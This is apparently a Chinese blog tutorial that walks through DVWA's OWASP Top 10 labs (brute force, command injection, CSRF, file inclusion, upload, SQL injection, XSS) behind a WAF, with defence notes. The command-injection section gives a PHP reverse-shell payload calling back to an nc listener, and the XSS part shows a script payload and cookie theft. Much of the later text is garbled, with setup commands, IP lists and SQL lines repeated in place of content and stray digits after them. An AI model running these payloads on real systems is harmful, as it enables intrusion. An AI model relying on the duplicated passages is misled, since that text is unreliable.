0x01 前言
本次环境以DVWA靶场(不太安全的网站)及CTF题目(夺旗赛)先对OWASP TOP10漏洞原理通俗概述,接着对基础代码解析,然后执行的命令落地到本地复现,前端进行复现后分析流量包,植入CTF题目,最后演示WAF流量经过,以及最高级别代码防护分析包括最终流程图,分析较为详细,对于初学者,网安爱好者及蓝队初级、运维等比较友好,在正常面试安全岗位时,也可能会问到理论问题,安全设备的了解,链路流量的走向,包括HVV蓝队初级最低也会问到常见攻击手法的理解和防护!
注:流程示意图以我本地网络层-应用层传输为例、并非现实通用
结尾有流量包下载及全过程详细流程图(本地模拟)
Brute Force (爆破)
Command Injection (命令注入)
CSRF (跨站请求伪造)
File Inclusion (文件包含)
File upload (文件上传)
SQL Injection (SQL注入)
SQL Injection (Blind) (SQL盲注)
XSS (反射型XSS)
CROSS XSS (存储型XSS)
如果您看完文章觉得不错,麻烦点个关注点个赞分享一下、谢谢!
* 本次学习环境为自行搭建,文章仅用于参考学习,请勿非法操作、后果自负
0x02 环境准备
DVWA搭建-docker
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
WAF搭建-docker
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
各网卡及IP如下
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
CTF(夺旗赛)
通俗来说就是以实际环境中的事件或自发性自编环境,以题目的方式呈现给比赛者去做题。当比赛者通过漏洞或题目要求拿到flag(旗帜)的时候,就算成功,也就是这块的漏洞利用成功
0x03 思路解析
Brute Force(野蛮的力量)
也称为爆破,拥有账号密码对相应的登录接口进行爆破、或根据网站规则及拿到的一些信息进行"撞库"
危害:爆破成功后任意操作管理员或用户账号,如发送信息,后续渗透,获取敏感信息等
于是,我拿着他的SQL语句替换了user及pass然后进行查询
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
前期代码解读完成,然后我们实操,直接burp抓包导入字典爆破
可以看到,当用户名为admin、密码为password的时候与其他包不一样,经过验证,账号密码就是这个,我们此时看抓取的流量包
可以看到,网站并没有进行相应的拦截
如何防守?
我们可以在WEB页面做一些限制
比如token,比如对请求IP限制,当然IP可以伪造
防止SQL注入,对传入数据进行处理
再或者就是账号密码错误3次后冻结多少分钟,前端输入密码后进行非对称加密等
安全设备就是对频率做限制,匹配字典规则满足后进行自动封禁
接着我们看waf,我给waf定义的规则是当10秒内请求次数高达100次的时候我们进行封禁IP10分钟,当然这个可以调
当我们发送请求包到200多的时候,包长度变了,不是密码错误包长也不是密码正确包长
这时候可以看到,WAF人机判断你的IP可能正在进行爆破或CC攻击,加载出验证码
我们这时候看后台数据,能看到客户端IP做的操作
我们拆解一下最高级别做了哪些防护
第3-5行做了一个token防止CSRF攻击
第8-16行对用户的输入做了处理,stripslashes函数去除输入的反斜杠等符号防止SQL注入,然后进行MD5加密
第19-27行先定义此用户的最大失败次数及锁定时间,然后SQL查询此用户是否已超过失败次数及是否超过锁定时间
第45-50行验证账号密码是否正确,":user"可以防止SQL注入,limit1只返回一条数据
第60行登录成功则返回该用户的头像并welcome
第64行后如果登录失败则提醒登录失败,然后加载2-4秒,防止爆破
接着就是对登录失败次数+1,然后对最后登录失败时间更新
生成一个新的token令牌,防止CSRF
Command Injection (命令注入)
命令注入通俗来讲就是开发者对于某些功能需要调用系统命令去执行一些操作,或者是某些代码块因为逻辑上未知造成命令执行、再或者前端某些头部字段可能存在的注入点,而没有对客户端传入的数据进行过滤或固定,造成攻击者可以进行自定义传入命令或绕过传入命令的行为
危害:攻击者拥有了命令执行后就相当于获得了服务器操作权限,攻击者可以根据漏点进行反弹shell以获取服务器shell,然后执行提权,植入后门或者其他危害性操作行为
按照正常业务引导,我们正常输入地址,回显出正常结果
而已知Linux分隔符,我们可以带入其他命令,看下图
可以看到我们使用分号进行分隔,执行了whoami命令,看到了www-data用户,将实际命令带入到Windows和Linux中看一下
接下来我们在网页输入以下命令在前端执行,获取服务器shell
kali: nc -lnvp 8888
网页: 127.0.0.1;php -r '$sock=fsockopen("192.168.150.2",8888);exec("sh <&3 >&3 2>&3");'
在抓取的流量包内输入以下过滤条件看一下流量走向
ip.addr == 192.168.150.2 || ip.addr == 192.168.150.1 && tcp.port != 22
接下来我们看一道CTF题目
如何防守?
可以进行关键字的过滤,对大小写的过滤,对符号的过滤,对编码的过滤
后端把此功能固定,前端只能输入相应的格式
在安全设备方面则从流量检测命令执行的特征
比如正常的win和Linux的命令,对于编码的检测,对于绕过方式的检测
如:双写,大小写,分隔符等
对WAF进行测试
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
0
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
1
我们拆解一下最高级别做了哪些防护
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
2
CSRF(跨站请求伪造)
通俗的来讲,某些操作如:更改密码,发布帖子,更新配置等操作,在非本意的情况下,点击了CSRF伪造的按钮功能,在用户已登录的情况下,未知进行的操作
危害:主要目的是对WEB方面的用户及管理员用户进行的操作,比如通过钓鱼的方式诱导点击,对数据进行破坏,数据篡改等,更改用户密码后进行后续攻击等
接着我们按照自己的本意正常流程去修改密码
然后我们使用burp suite抓包生成一个CSRF的包,保存为html文件,在跳板机192.168.150.2开启一个http服务运行点击
这样看可能认为太俗了,但是实战中攻击者会美化页面比如copy钓鱼页面,诱导你点击,我们只是了解大概经过
分析在kali中抓取的流量包以及dvwa抓取的流量包
由于CSRF大多按照Referer和origin来分辨,所以WAF在此拦截识别度不高,从代码块去增加校验可以
如何防护?
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
3
我们拆解一下最高级别做了哪些防护
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
4
File Inclusion(文件包含)
文件包含比较容易理解,即某些功能或者文件,开发者需要读取,但是由于没有对读取文件范围固定,造成了攻击者可以进行任意文件读取或任意文件包含
危害:攻击者得到任意文件读取漏洞后可以读取服务器上所有文件,以方便下一步的攻击渗透,或搭配文件上传组合拳或反弹shell组合拳等方式进行利用
这里不得不提几个常见的绕过方法,看下图
如何防守?
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
5
CTF题目环境
接着我们测试WAF的流量
然后我们看一下后面的代码做了哪些限制
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
6
File Upload(文件上传)
通俗点讲就是某功能点,比如上传图片,上传表格,导入授权的功能,由于开发未进行严格过滤所需上传格式,造成攻击者可以进行修改文件格式、类型等任意文件上传,进行后期恶意利用,比如上传木马控制主机等
危害:攻击者通过该漏洞类型上传木马文件后可远程控制主机,达到后期渗透、内网渗透的目的
从功能本意是需要上传图片,但是开发并没有做限制,攻击者可以随意上传任意文件
接着我们看一下下一个级别的文件上传
接着我们在看高级的文件上传代码
我们此时使用以上方法生成一个图片马(这个在溯源的时候和CTF中的MISC有关系)
如何防守?
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
7
CTF题目
接着我们测试WAF的流量走向
分析抓取的流量包(docker0 safeline-ce)
我们看一下最高级代码做了哪些处理
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
8
SQL Injection(SQL注入)
通俗来讲就是某功能,需要以ID或者姓名去到数据库查询信息,但是开发人员没有数据语句进行规范过滤,没有固定,攻击者可以以此SQL语句进行可控查询,从而获取更多的数据
危害:攻击者通过SQL注入漏洞可以获取数据库内敏感信息,如账号密码、销售记录、存入的更敏感身份信息等、攻击者可以进行后续渗透,或者通过SQL注入配合其他方式漏洞进行写入文件,控制服务器等
我们拿着已知的语句替换掉id去查询,就是看到的结果
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
9
其实我一直糊涂的是单引号的位置或者是为什么加单引号
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
0
前后正好为一个完整的SQL语句拼接,看下图就能明白了
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
1
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
2
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
3
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
4
这样看不直观,我们带入到数据库看一下
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
5
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
6
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
7
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
8
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
9
如何防护?
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
0
CTF题目
接下来我们看WAF流量
我们接着分析最高级别源代码
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
1
SQL Injection (Blind) (SQL盲注)
SQL盲注通俗来讲:比如登录点或者是导出数据功能点,服务端需要和数据库交互来确定数据是否存在,存在返回ture,不存在返回false,盲注和正常注入区别就是,盲注不回显所需数据,攻击者只能通过某些函数如sleep,ASCII,substr等去判断数据是否存在
危害:攻击者通过SQL注入漏洞可以获取数据库内敏感信息,如账号密码、销售记录、存入的更敏感身份信息等、攻击者可以进行后续渗透,或者通过SQL注入配合其他方式漏洞进行写入文件,控制服务器等
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
2
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
3
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
4
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
5
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
6
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
7
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
8
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
9
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
0
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
1
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
2
如何防护?
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
0
看一下WAF流量
看一下最高级别源码
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
4
XSS (反射型)
通俗来讲,XSS是因为攻击者在网页中插入的JavaScript恶意脚本,而浏览器只会执行JavaScript并不会去理解是否为恶意,XSS较为常见,基本上在可输入点或者更改数据点中都可能存在XSS,如果开发不进行严格过滤,危害高
危害: XSS危害基本面向用户,比如:反射型XSS会窃取用户信息,cooki身份等,存储型XSS则会持久性停留,XSS还可以钓鱼,会话劫持等,有些攻击者还可通过XSS配合其他漏洞对服务器造成危害
我们在输入框内输入了张三,前端打印出hello,张三
当我们输入<script>alert(1)</script>后,执行了JavaScript执行了弹窗,弹出1
我们继续利用CSRF配合XSS在用户未知的情况下窃取到cookie信息
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
5
如何防护?
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
6
然后我们看下WAF如何判断
看一下最高级别代码做了什么
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
7
XSS(存储型)
存储型XSS的目的和反射型相同,只不过反射型需要攻击者主动攻击,而存储型攻击者只需插入代码后,利用功能特性,存入到数据库后,其他用户访问功能点时,即可达到被动攻击,一般出现在论坛、博客、或者某些特殊功能点
我正常输入了几个信息,并成功显示出了信息
于是我登录DVWA的其他用户看一下这些信息是否存在
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
8
然后我们模拟攻击者插入钓鱼XSS链接
插入恶意链接成功,由于JavaScript执行后是看不到正常代码的,我们查询一下mysql中的guestbook表
当有其他人访问的时候,前端因为会查询到guestbook表中指定信息,然后JavaScript自动执行XSS请求,完成无感被动恶意请求
于是我们登录上其他用户名后再次查看在线XSS平台
这里一直出现问题,不知道是不是我网络问题,发不出去请求
如何防护?
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
6
由于存储型和反射型的区别是持久化和一次性的原因,目的一样,WAF拦截也是一样,这里不在抓取流量包分析,直接看最高级别代码
我们可以在WEB页面做一些限制
比如token,比如对请求IP限制,当然IP可以伪造
防止SQL注入,对传入数据进行处理
再或者就是账号密码错误3次后冻结多少分钟,前端输入密码后进行非对称加密等
安全设备就是对频率做限制,匹配字典规则满足后进行自动封禁
0
0x04总结
耗时一周时间,从构建思路到复现环境,遇到问题解决问题,适用于网络安全运维人员,相关从业人员复习巩固,及学生未就业,即将面试及护网人员基础,对OWASP TOP10进行详细解析,对漏洞进行通俗概述及阐述危害,接着以DVWA为基础解析基础代码,然后带入本地服务器或数据库进行执行,通俗易懂,然后植入部分CTF题目理解,给出大概防护方法,最后分析WAF的流量经过进行对比,画出该漏洞的流程图(流程图仅适用于本地复现,具体以实际为准)基本围绕应用层-网络层进行流量交互,全文7000余字,全是干货,希望大佬勿喷,各位师傅互相交流讨论,麻烦一键三连,谢谢
文中拓补图仅供参考,异机和本机包括配置等整体拓扑不一致,只描绘流量经过
我们可以在WEB页面做一些限制
比如token,比如对请求IP限制,当然IP可以伪造
防止SQL注入,对传入数据进行处理
再或者就是账号密码错误3次后冻结多少分钟,前端输入密码后进行非对称加密等
安全设备就是对频率做限制,匹配字典规则满足后进行自动封禁
1
添加运营微信回复 进群 获取免费问题咨询及群内不定时发送POC
群内不定期更新各种POC
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...